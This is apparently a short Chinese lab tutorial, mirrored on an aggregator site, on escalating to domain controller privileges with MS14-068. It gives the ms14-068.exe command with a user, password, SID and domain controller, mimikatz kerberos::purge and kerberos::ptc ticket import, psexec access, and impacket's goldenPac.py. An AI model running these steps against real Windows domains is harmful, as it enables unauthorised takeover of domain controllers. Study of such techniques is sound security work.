zoukankan
html css js c++ java
MS14-068提权和impacket工具包提权
ms14-068提权
工具利用
a)拿下边界机win7,并已经有win7上任意一个账号的密码
-u 用户名@域
-p 用户密码
-s 用户sid
-d 域控
ms14-068.exe -u test3@superman.com -p Test#123 -s S-1-5-21-2030659959-700672918-1434258406-1113 -d win08.superman.com
生成一个ccache后缀票据
导入票据
导入之前,清空票据缓存
kerberos::purge
kerberos::ptc 票据
使用psexec工具连接win08(域控机器)尝试执行命令,看到的权限是test3的,但是实际上所属已经是win08上,并且是最高权限
impacket工具包提权
b) 没拿到边界机,但是有账号密码的情况
使用/impacket/examples下的goldenpac.py脚本
注意@domain-host 指的是域控机的位置
成功进入win08的命令行模式
查看全文
相关阅读:
linux环境下安装nginx步骤
时间戳—时间互转 java
redis配置中踩过的坑
在Windows端安装kafka 提示错误: 找不到或无法加载主类 的解决方案
Windows平台kafka环境的搭建
在windows上搭建redis集群(redis-cluster)
身份证号打码隐藏
PIL获取图片亮度值的五种方式
Python文件排序
PIL
原文地址:https://www.cnblogs.com/sup3rman/p/12329854.html
最新文章
TP框架验证码功能
tp框架文件上传
tp框架视图层view——模板继承
thinkphp表单验证
thinkphp对于ajax的调用及session的用法
thinkphp模型层
thinkphp框架错误提示及命名空间使用方法
thinkphp框架基础知识
smarty函数
php计算网段内所有IP,分配子网段
热门文章
php curl的隐藏BUG
MYSQL获取同时关注了某两个(或者N个)用户的用户
PDO连续query()失败问题
CI框架 session 不能读取的问题,PHP7环境
MYSQL批量创建表的存储过程
laravel框架5.5 连接redis和redis集群
mysql order by排序查询速度问题
Mysql字符串截取函数
mysql导入导出sql文件,source导入速度慢的解决办法
SQLyog 8.14破解码
Copyright © 2011-2022 走看看